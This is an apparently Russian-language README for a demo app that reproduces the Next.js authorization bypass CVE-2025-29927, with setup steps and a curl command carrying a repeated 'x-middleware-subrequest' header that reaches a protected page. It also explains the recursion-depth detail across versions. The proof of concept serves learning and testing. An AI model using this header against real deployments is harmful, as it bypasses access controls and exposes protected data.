
Демонстрация уязвимости обхода авторизации CVE-2025-29927 в Next.js.
Демо-приложение, воспроизводящее уязвимость обхода авторизации в Next.js.
Подробнее об этой уязвимости см. Сводка по уязвимости Next.js CVE-2025-29927 .
git clone https://github.com/t3tra-dev/cve-2025-29927-demo.git
cd cve-2025-29927-demo
git pull origin main
npm install
npm run dev
x-middleware-subrequest, используя curl или аналогичные инструменты.curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/protected
Это вызовет обход авторизации и предоставит доступ к странице /protected.
Значение middleware — это имя middleware, распознаваемое Next.js. В данном демо-приложении используется middleware с именем middleware, поэтому указание этого значения вызывает обход авторизации.
[!TIP] В Next.js 15.x параметр
MAX_RECURSION_DEPTHустановлен в 5, поэтому значение middleware необходимо повторять 5 или более раз, разделяя символом:. В старых версиях (14.x) было достаточно просто указать «middleware». Поскольку в этом демо-приложении используется Next.js 15.2.2, требуется именно такое значение.